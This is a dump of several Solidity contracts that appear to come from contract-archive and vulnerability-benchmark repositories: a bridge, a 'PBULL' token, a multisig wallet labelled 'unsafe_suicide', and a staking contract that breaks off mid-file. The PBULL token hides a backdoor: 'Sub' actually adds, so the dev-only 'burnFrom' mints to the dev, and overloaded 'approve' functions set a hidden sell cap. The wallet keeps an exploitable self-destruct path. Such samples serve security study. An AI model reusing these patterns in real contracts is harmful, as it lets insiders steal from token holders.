emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Bridge is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
using Address for address;
modifier noContractsAllowed() {
require(!(address(msg.sender).isContract()) && tx.origin == msg.sender, "No Contracts Allowed!");
_;
}
// ----------------------- Smart Contract Variables -----------------------
// Must be updated before live deployment.
uint public dailyTokenWithdrawLimitPerAccount = 200_000e18;
uint public constant CHAIN_ID = 43114;
uint public constant ONE_DAY = 24 hours;
address public constant TRUSTED_TOKEN_ADDRESS = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
address public verifyAddress = 0x072bc8750a0852C0eac038be3E7f2e7c7dAb1E94;
// ----------------------- End Smart Contract Variables -----------------------
event Deposit(address indexed account, uint amount, uint blocknumber, uint timestamp, uint id);
event Withdraw(address indexed account, uint amount, uint id);
mapping (address => uint) public lastUpdatedTokenWithdrawTimestamp;
mapping (address => uint) public lastUpdatedTokenWithdrawAmount;
// deposit index OF OTHER CHAIN => withdrawal in current chain
mapping (uint => bool) public claimedWithdrawalsByOtherChainDepositId;
// deposit index for current chain
uint public lastDepositIndex;
function setVerifyAddress(address newVerifyAddress) external noContractsAllowed onlyOwner {
verifyAddress = newVerifyAddress;
}
function setDailyLimit(uint newDailyTokenWithdrawLimitPerAccount) external noContractsAllowed onlyOwner {
dailyTokenWithdrawLimitPerAccount = newDailyTokenWithdrawLimitPerAccount;
}
function deposit(uint amount) external noContractsAllowed nonReentrant {
require(amount <= dailyTokenWithdrawLimitPerAccount, "amount exceeds limit");
lastDepositIndex = lastDepositIndex.add(1);
IERC20(TRUSTED_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, amount, block.number, block.timestamp, lastDepositIndex);
}
function withdraw(uint amount, uint chainId, uint id, bytes calldata signature) external noContractsAllowed nonReentrant {
require(chainId == CHAIN_ID, "invalid chainId!");
require(!claimedWithdrawalsByOtherChainDepositId[id], "already withdrawn!");
require(verify(msg.sender, amount, chainId, id, signature), "invalid signature!");
require(canWithdraw(msg.sender, amount), "cannot withdraw, limit reached for current duration!");
claimedWithdrawalsByOtherChainDepositId[id] = true;
IERC20(TRUSTED_TOKEN_ADDRESS).safeTransfer(msg.sender, amount);
emit Withdraw(msg.sender, amount, id);
}
function canWithdraw(address account, uint amount) private returns (bool) {
if (block.timestamp.sub(lastUpdatedTokenWithdrawTimestamp[account]) >= ONE_DAY) {
lastUpdatedTokenWithdrawAmount[account] = 0;
lastUpdatedTokenWithdrawTimestamp[account] = block.timestamp;
}
lastUpdatedTokenWithdrawAmount[account] = lastUpdatedTokenWithdrawAmount[account].add(amount);
return lastUpdatedTokenWithdrawAmount[account] <= dailyTokenWithdrawLimitPerAccount;
}
function transferAnyERC20Token(address tokenAddress, address recipient, uint amount) external noContractsAllowed onlyOwner {
IERC20(tokenAddress).safeTransfer(recipient, amount);
}
/// signature methods.
function verify(address account,
uint amount,
uint chainId,
uint id,
bytes calldata signature)
internal view returns(bool)
{
bytes32 message = prefixed(keccak256(abi.encode(account, amount, chainId, id, address(this))));
return (recoverSigner(message, signature) == verifyAddress);
}
function recoverSigner(bytes32 message, bytes memory sig)
internal
pure
returns (address)
{
(uint8 v, bytes32 r, bytes32 s) = abi.decode(sig, (uint8, bytes32, bytes32));
return ecrecover(message, v, r, s);
}
/// builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
| 75,824 | 12,471 |
81bae439657da26f400155a4ad52b7191d02c12caafcc89176ccc0f69cad6797
| 19,649 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/44/44be5fec9f147aa7ec320031333b95c2f38efd95_PBULL.sol
| 3,236 | 11,040 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PBULL is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 39,393 | 12,472 |
920c0e5b77ebfc92181f1f76569a57d7dac230062b734d3371000fe6ebe95183
| 15,929 |
.sol
|
Solidity
| false |
640407482
|
bit-smartcontract-analysis/smartcontract-benchmark
|
58ef12b47f600040e786b655ca1a4b44b7b6cfb9
|
small_dataset/dataset/unsafe_suicide/wallet_sucide.sol
| 4,240 | 15,128 |
pragma solidity ^0.4.9;
contract WalletEvents {
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
}
contract WalletAbi {
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external;
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function isOwner(address _addr) constant returns (bool);
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
function setDailyLimit(uint _newLimit) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
contract WalletLibrary is WalletEvents {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// constructor - stores initial daily limit and records the present day's index.
function initDaylimit(uint _limit) only_uninitialized {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
// <yes> <report> unsafe_suicide
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
delete m_txs[m_pendingIndex[i]];
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
}
delete m_pendingIndex;
}
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
contract Wallet is WalletEvents {
// WALLET CONSTRUCTOR
// calls the `initWallet` method of the Library in this context
function Wallet(address[] _owners, uint _required, uint _daylimit) {
// Signature of the Wallet Library's init function
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
// Compute the size of the call data : arrays has 2
// 32bytes for offset and length, plus 32bytes per element ;
// plus 2 32bytes for each uint
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
// Add the signature first to memory
mstore(0x0, sig)
// Add the call data, which is at the end of the
// code
codecopy(0x4, sub(codesize, argsize), argsize)
// Delegate call to the library
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
// METHODS
// gets called when no other function matches
// function() payable {
// // just being sent some cash?
// if (msg.value > 0)
// Deposit(msg.sender, msg.value);
// else if (msg.data.length > 0)
// _walletLibrary.delegatecall(msg.data);
// }
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
// As return statement unavailable in fallback, explicit the method here
// function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
// return _walletLibrary.delegatecall(msg.data);
// }
// function isOwner(address _addr) constant returns (bool) {
// return _walletLibrary.delegatecall(msg.data);
// }
// FIELDS
address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
}
| 258,324 | 12,473 |
dcedcbbd3f878a971bda82dcfb0312b9ae9acdaea7484f1258c3f67b275a5d0d
| 27,371 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/63/63e8159acbea12bb81ae1bdcbd67b352546e96c2_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
